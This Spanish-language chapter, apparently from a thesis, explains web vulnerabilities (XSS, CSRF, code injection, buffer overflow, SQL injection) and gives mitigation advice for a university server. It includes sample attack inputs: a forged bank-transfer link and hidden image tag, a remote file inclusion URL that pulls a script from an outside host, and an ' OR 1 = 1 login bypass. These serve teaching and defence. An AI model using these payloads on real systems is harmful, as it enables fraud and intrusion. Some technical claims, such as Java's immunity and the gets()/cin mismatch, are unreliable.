Capítulo 2.- Vulnerabilidades en aplicaciones web.

En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como consecuencia, provocar algún daño al servidor web y de bases de datos o a la información que se aloja en el mismo. También hacemos recomendaciones para poder evitarlas.

2.1.-Web.

Las aplicaciones web pueden presentar diversas vulnerabilidades que van de acuerdo a los servicios que prestan. De acuerdo con la OWASP (Open Web Application Security Project), las vulnerabilidades en aplicaciones web más explotadas a finales del año 2009, fueron las siguientes:

- Cross Site Scripting (XSS).
- Ataques de inyección de código.
- Ejecución de archivos maliciosos.
- Insecure Direct Object Reference.
- Ataques Cross Site Request Forgery (CSRF).
- Pérdidas de información y errores al procesar mensajes de error.
- Robo de identidad de autentificación.
- Almacenamiento criptográfico inseguro.
- Comunicaciones inseguras.
- Acceso a URLs ocultas no restringidas de manera adecuada.

El sitio www.opensecurity.es indica que los 5 principales tipos de vulnerabilidades en aplicaciones web son:

- Ejecución remota de código.
- SQL.
- Vulnerabilidades en formato de cadenas.
- Cross Site Scripting (XSS).
- Problemas atribuidos a los usuarios.

Otro sitio (www.vsantivirus.com) publica que las vulnerabilidades más comunes son:

- SQL Injection.
- Cross Site Scripting (XSS).

El sitio del Departamento de Seguridad en Cómputo de la UNAM (http://www.seguridad.unam.mx/vulnerabilidadesDB/) menciona en su lista de vulnerabilidades más comunes a las siguientes:

- Cross Site Scripting (XSS).
- SQL Injection.
- Buffer Overflow.

Podemos apreciar que en las anteriores listas, la vulnerabilidad en aplicación web en común es el ataque Cross Site Scripting (XSS), por lo que se debe poner atención en ella, así como las que se explicarán más adelante.

Para este trabajo, se analizaron las vulnerabilidades en aplicaciones web más comunes porque pueden representar un peligro para los servidores web y de bases de datos del CDMIT.

2.1.1.-XSS (Cross Site Scripting).

El XSS es un fallo de seguridad en sistemas de información basados en web, que más que comprometer la seguridad del servidor web compromete la seguridad del cliente.

El XSS es un ataque, que consiste en inyectar código, HTML y/o JavaScript en una aplicación web, con el objetivo de que el cliente ejecute el código inyectado al momento de ejecutar la aplicación.

El XSS se da cuando una aplicación web permite inyectar código en la página; esto se puede lograr por medio de campos de texto de formularios o por medio de la URL.

Por lo regular, el código inyectado se ejecuta de manera que el cliente no nota algún comportamiento fuera de lo normal, ya que la ejecución de este código se hace de manera simultánea con el código original de la aplicación. Dependiendo de otros factores, el XSS puede hacer que el navegador funcione de manera indebida y en algunos casos, llegar a provocar un fallo en el servidor. Aunque esto último es muy difícil porque el código HTML y JavaScript se ejecutan en el navegador y no en el servidor web.

Para poder evitar este tipo de ataque, en las aplicaciones web se debe:

- Evitar que llegue código HTML y/o JavaScript por medio del método Get o Post, es decir, hay que filtrar el código. Algunos lenguajes de programación del lado del servidor proveen funciones para evitar que el código HTML llegue como tal a nuestras aplicaciones. Un ejemplo de esto es PHP que cuenta con funciones que convierten el código HTML en texto o simplemente lo suprimen, tal es el caso de las funciones htmlspecialchars() y htmlentities().

- Procurar que los datos viajen por Post en lugar de Get para evitar ataques de XSS por URL.

- También es recomendable hacer uso de navegadores modernos, ya que algunos tienen la capacidad de detectar casos en donde se podría presentar la vulnerabilidad y lo invalidan. Como Mozilla Firefox 3 e Internet Explorer 8, que lo hacen.

Aunque algunos expertos en seguridad informática opinan que las vulnerabilidades a XSS son ya obsoletas, otros opinan lo contrario, pues el XSS es muy utilizado para realizar ataques como el *phishing*, robo de identidad y otro tipo de ataques, por lo que es importante conocer cómo funciona para poder evitarlo.

2.1.2. - CSRF (Cross Site Request Forgery).

El CSRF es prácticamente igual que XSS, salvo que este ataque se basa en explotar la confianza que un usuario tiene en un sitio web.

Se trata de una vulnerabilidad en aplicaciones web, en donde el usuario es forzado a ejecutar acciones no deseadas en una aplicación web en la cual se encuentra autenticado. Con un poco de ayuda de ingeniería social (como el envío de una liga vía correo electrónico o chat), una persona malintencionada podría forzar al usuario de la aplicación web a ejecutar acciones no deseadas por el mismo usuario, por ejemplo la ejecución de código de manera remota.

De ser exitoso, el CSRF puede comprometer la información del usuario y el comportamiento normal del usuario en la aplicación web. En caso de que el usuario sea el administrador de la aplicación web, este tipo de vulnerabilidad puede llegar a comprometer por completo al sistema en cuestión.

Existen numerosas formas en las que el usuario puede ser engañado cuando intercambia información con un sitio web. Con el fin de llevar a cabo un ataque de este tipo, primero se debe saber como generar una petición maliciosa para que nuestra víctima la ejecute.

Ejemplo:

El usuario B desea hacer una transferencia bancaria de $1,000 al usuario A, a través del portal de Internet de un banco (http://banco.com), la cabecera http de la petición al servidor generada por el usuario B podría ser de la siguiente manera:

```
GET http://banco.com/transfer.do HTTP/1.1
...
...
...
Content-Length: 19;

acct=USUARIOA&amount=1000
```

Pero el usuario C nota que la aplicación web realiza la transferencia de parámetros de la URL de la siguiente manera:

```
GET http://banco.com/transfer.do?acct=USUARIOA&amount=1000 HTTP/1.1
```

Y como consecuencia de lo anterior, el usuario C decide explotar esta vulnerabilidad en la aplicación web del banco tomando como su víctima al usuario B. De esta forma, el usuario C construye una URL que transferirá $100,000 de la cuenta del usuario B a su propia cuenta, como sigue:

```
http://banco.com/transfer.do?acct=USUARIOC&amount=100000
```

Ahora que el código de la petición maliciosa se ha generado, el usuario C debe engañar al usuario B para que este envíe la petición al servidor del banco, ya que el usuario B está autenticado en el sistema. El método más sencillo sería que el usuario C le envíe al usuario B el link con la petición y que este lo abra, ya sea por correo electrónico o vía chat. La etiqueta HTML sería la siguiente:

```
<a href="http://banco.com/transfer.do?acct=USUARIOC&amount=100000">Gane
$10,000.00 Ahora</a>
```

Asumiendo que el usuario B se encuentra autenticado (ha iniciado sesión) en la aplicación web del banco, cuando da clic al link que le envió al usuario C, él inconscientemente transfiere a la cuenta del usuario C $100,000. Para que el usuario B no lo note (ya que el banco le notificará de la transferencia), el usuario C decide esconder el ataque en una imagen de cero bytes, como sigue:

```
<img src="http://banco.com/transfer.do?acct=USUARIOC&amount=100000" width="1"
height="1" border="0">
```

Si esta etiqueta HTML de la imagen, fuese incluida en un correo electrónico, el usuario B sólo vería una pequeña caja indicando que el navegador no puede mostrar la imagen. Sin embargo, el navegador en cualquier caso, enviará la petición al sistema del banco sin ninguna indicación de que la transferencia se ha llevado a cabo.

Este tipo de ataque se puede prestar a fraudes como *phishing.*

Para evitar este tipo de vulnerabilidad en aplicaciones web, por el lado del programador, se debe:

- Hacer que las sesiones expiren en un tiempo corto. este tiempo tiene que ser el suficiente para que el usuario haga la transacción que requiere.
- Forzar a que el usuario termine su sesión para que de esta forma se evite que la sesión del usuario quede activa y se pueda hacer mal uso de ella.
- Hacer del conocimiento del usuario que los problemas mencionados anteriormente se pueden presentar y concientizarlo de cómo prevenirlos.
- Ocultar la URL en navegadores y códigos fuente de aplicaciones para evitar su mal uso.
- Hacer un filtrado de datos que llegan al servidor, es decir, verificar que los tipos de datos sean los que se esperan.
- Hacer que la composición de la URL sea compleja, es decir, cifrar los datos que viajan a través de esta.

Para evitar este tipo de vulnerabilidad en aplicaciones web, por parte del usuario, se debe:

- Hacer el intercambio de la información a través de internet en un lugar seguro y no sitios públicos como escuelas, lugares de trabajo o cibercafés.
- Proteger el equipo con software *antiphishing*, sobre todo para personas que no tienen muchos conocimientos de informática.
- Advertir al usuario de no abrir ligas o correos electrónicos sospechosos o de dudosa procedencia.

2.1.3.-Inyección de Código (Code Injection).

Code Injection es el nombre de un ataque, que consiste en insertar código que podría ser ejecutado por una aplicación. Un ejemplo de esto, es cuando se añade una cadena de caracteres en una cookie o los valores de un argumento en la URL. Este tipo de ataque hace uso de la falta de una validación correcta de los datos: tipos de caracteres permitidos, formato de datos, datos esperados, etcétera.

Code Injection y *Command Injection*, son ataques muy similares entre sí, por lo que no analizaremos a fondo este último, pero si diremos que la diferencia entre *Code Injection* y *Command Injection* son las medidas distintas que se toman para lograr objetivos similares. Mientras que *Code Injection* tiene como objetivo añadir código malicioso en una aplicación, que luego se ejecutará como parte de ésta, *Command Injection* no es precisamente código que pertenece a la aplicación y no necesariamente se ejecutará simultáneamente con ésta. Este tipo de vulnerabilidad en el código, puede ser muchas veces peor que cualquier otra vulnerabilidad, ya que la seguridad del sitio web y posiblemente del servidor, se ve comprometida.

Un ejemplo muy sencillo de cómo opera este tipo de ataque es el siguiente:

Hagamos la suposición de que el siguiente código en PHP se va a ejecutar:

```
<html>

<body>

<?php

$pagina=$_GET[‘page’];

Include(‘$pagina’);

?>

</body>

</html>
```

Si en un servidor externo tenemos un script, es posible realizar un ataque con Code Injection que el código anterior presenta. Digamos que la URL que corresponde al código de la aplicación de arriba es la siguiente: http://ejemplo.net/index.php y que el script con el código que se inyectará está en el servidor cuya URL es http://codigo.net/code.php, entonces basta con construir una URL como sigue para realizar el ataque y llamarla desde el navegador:

```
http://ejemplo.net/index.php?page=http://codigo.net/code.php
```

Con esto se ejecutará todo el código que el atacante haya escrito en el archivo "code.php".

Para evitar este tipo de ataques, basta con hacer una programación ordenada, con el filtrado del código y con la inicialización de todas las variables. El ejemplo aquí presentado es el más utilizado para realizar este tipo de ataques, por lo que se debe evitar a toda costa incluir archivos por medio de variables.

2.1.4.-Buffer Overflow.

Este tipo de vulnerabilidad, es quizá, la más conocida dentro de la seguridad en el software. La mayor parte de los desarrolladores de software saben lo que una vulnerabilidad del tipo Buffer Overflow es, sin embargo, este tipo de vulnerabilidad suele ser aún común hoy en día. Parte del problema se debe a la gran variedad de formas en las cuales el Buffer Overflow se puede dar.

Este tipo de vulnerabilidades no son tan fáciles de descubrir y cuando se llegan a descubrir, son por lo general, difíciles de explotar. A pesar de lo anterior, los atacantes han logrado identificar vulnerabilidades de este tipo en un sin fin de sistemas de todo tipo.

Es clásico que en esta vulnerabilidad, el hacker envíe datos a un programa, los cuales, son almacenados en una pila de tamaño inferior al de los datos. El resultado de esto es que la información en la pila es sobrescrita incluyendo las funciones de punto de retorno. Los datos establecen el valor del punto de retorno, así que si la función regresa, transfiere el control al código malicioso contenido en los datos del atacante.

Aunque este tipo de Buffer Overflow es aún común en algunas plataformas y en algunas comunidades de desarrollo, existen otras variedades de tipos de Buffer Overflow. Otra clase de vulnerabilidad muy similar y conocida es la llamada Format String Attack. Existe un gran número de información acerca de esta vulnerabilidad en Internet y en libros, que provee muchos detalles de cómo trabaja esta vulnerabilidad, por lo que sólo la mencionamos, por ser conocida al igual que las vulnerabilidades Heap Buffer Overflow y Off-By-One Error, que entran en esta categoría.

A nivel de código las vulnerabilidades de tipo Buffer Overflow envuelven comúnmente la violación a las sentencias del programador. Muchas funciones de manipulación de

memoria en lenguajes como C/C++ y sus derivados no ejecutan chequeos de límites y es posible sobrescribir fácilmente los límites asignados para su operación. La combinación de la manipulación de memoria y sentencias equivocadas referentes al tamaño son la principal causa de este tipo de vulnerabilidades.

A nivel de código, una vulnerabilidad de este tipo ocurre cuando una aplicación se basa en datos externos para controlar su comportamiento o depende de las propiedades de los datos que se ejecutan fuera del ámbito inmediato del código, o bien si es tan compleja que un programador no puede predecir con exactitud su comportamiento.

En las aplicaciones web, los atacantes explotan vulnerabilidades de este tipo para corromper la pila de ejecución de las aplicaciones web. Al enviar cuidadosamente datos de entrada a una aplicación web, el atacante puede causar que dicha aplicación ejecute código de una manera arbitraria y así hacerse de una manera efectiva del control del sistema.

Las vulnerabilidades Buffer Overflow pueden estar presentes tanto en el servidor web como en el servidor de aplicaciones, que da soporte de contenido estático o dinámico al sitio o a la aplicación web y pueden plantear un riesgo significativo para los usuarios del servidor web. Cuando las aplicaciones web hacen uso de librerías, se abre la posibilidad a ataques de Buffer Overflow.

La vulnerabilidad también puede encontrarse a nivel de código en las aplicaciones web y suele ser más probable dada la falta de control que se tiene en estas aplicaciones y lo difícil que resulta detectar dichas vulnerabilidades. Aunque son más probables las vulnerabilidades de este tipo en este caso, ya habíamos mencionado que son mucho más difíciles de encontrar y por lo tanto el número de atacantes que intentará encontrar y explotar estas vulnerabilidades será menor.

Casi todos los servidores web, servidores de aplicaciones y entornos de aplicaciones Web son susceptibles a vulnerabilidades de Buffer Overflow, sin embargo, se tiene una notable excepción en los entornos desarrollados con lenguajes como Java, que son inmunes a este tipo de ataques (a excepción de desbordamientos en el intérprete mismo), ya que Java tiene una máquina virtual que cuenta con ciertos niveles de seguridad que impiden que esta vulnerabilidad se presente.

Para terminar con esta vulnerabilidad, revisaremos un ejemplo de esta para comprender su funcionamiento.

El siguiente fragmento de código de ejemplo (en lenguaje C) demuestra que existe una vulnerabilidad de Buffer Overflow que se da a causa de que el código se basa en datos externos para controlar su comportamiento. El código hace uso de la función gets(), que quienes tienen algunos conocimientos del lenguaje de programación C/C++ sabrán que sirve para leer una cantidad arbitraria de datos y guardarlos en una pila. Como no hay forma de limitar la cantidad de datos que esta función lee, la seguridad del código depende de que el usuario siempre ingrese una cantidad menor a la capacidad en tamaño de la pila.

```
char buf[BUFSIZE];

cin >> (buf);
```

Para prevenir este tipo de vulnerabilidades es importante estar informado y al día con los últimos reportes de fallos para nuestro servidor web, para nuestras aplicaciones y para otros productos de nuestra infraestructura de Internet. Realizar una programación segura de nuestras aplicaciones es también muy importante. Hay que aplicar siempre los parches y las actualizaciones de seguridad de nuestros productos de software que por lo regular se encuentran disponibles en la web de nuestros proveedores, pero siempre hay que estar informado si son seguros o no. También es importante escanear y monitorear de manera periódica nuestros servidores y nuestras aplicaciones con las diversas herramientas existentes para la búsqueda de estos fallos de seguridad y en el caso de las aplicaciones, revisar todo el código que acepta datos de usuarios a través de peticiones HTTP y asegurarse que se dispone del tamaño adecuado de *buffer* para almacenarlos. Esto debe hacerse incluso en el caso de entornos que no son sensibles a este tipo de vulnerabilidades.

2.2.-Bases de datos.

Las bases de datos son vulnerables si no se tiene una buena configuración de seguridad y están propensas a experimentar el ataque llamado *SQL Injection* si no se tiene una buena validación en la aplicación con la que interactúa, por lo cual en este subcapítulo únicamente hablaremos acerca de este ataque que explota vulnerabilidades de una programación deficiente en los sistemas.

2.2.1.-SQL Injection.

Un ataque del tipo *SQL Injection* consiste en insertar o inyectar una consulta SQL a través del intercambio de datos entre el cliente y la aplicación. Un ataque de *SQL Injection*, es capaz de leer datos sensibles de la base de datos, modificar los datos de dicha base de datos (Insert, Delete, Update), ejecutar operaciones como administrador, recuperar el contenido de un archivo dado que se encuentra en el Sistema de directorios del Sistema Manejador de Bases de Datos (DBMS) y en algunos casos ejecutar comandos en el sistema operativo. Los ataques de *SQL Injection* son del tipo de ataques de inyección (como *Code Injection* y *Command Injection*).

Como ejemplo de *SQL Injection* tenemos el siguiente: supongamos que tenemos un formulario de autenticación de usuarios que requiere un nombre de usuario y una contraseña. Veamos la siguiente consulta, haciendo uso de PHP:

```
SELECT * FROM usuarios WHERE usuario=$_POST['usuario'] AND
contrasena=$_POST['contrasena'];
```

Ahora bien, si en el formulario de autenticación introducimos como usuario tom y como contraseña ‘’ OR 1 = 1, de tal forma que la consulta sería:

```
SELECT * FROM usuarios WHERE usuario= 'tom' && contrasena = ‘’ OR 1 = 1;
```

Con la consulta anterior, cualquier usuario quedaría autenticado, porque esta consulta siempre regresaría algo diferente de nulo.

Para evitar que nuestras aplicaciones sean vulnerables a un ataque de *SQL Injection*, nunca debemos confiar en la información que el usuario introduce en los formularios, toda esa información debe ser verificada y validada, se recomienda también no construir consultas de SQL de forma dinámica, ya que son susceptibles a ser cambiadas de forma externa, también hay que evitar el uso de cuentas con privilegios administrativos, al igual que se debe evitar proporcionar información innecesaria (mensajes como “contraseña incorrecta” o “usuario incorrecto” no deben ser utilizados, mejor utilizar “usuario y/o contraseña incorrectos”).

El conocer las vulnerabilidades en las aplicaciones web es de suma importancia por el riesgo que implica al servidor si no se encuentra protegido correctamente.

A continuación se dará el resultado del análisis realizado al servidor web y de bases de datos del CDMIT para determinar los activos, las amenazas, las vulnerabilidades y los mecanismos de control, así como las recomendaciones para minimizar los riesgos.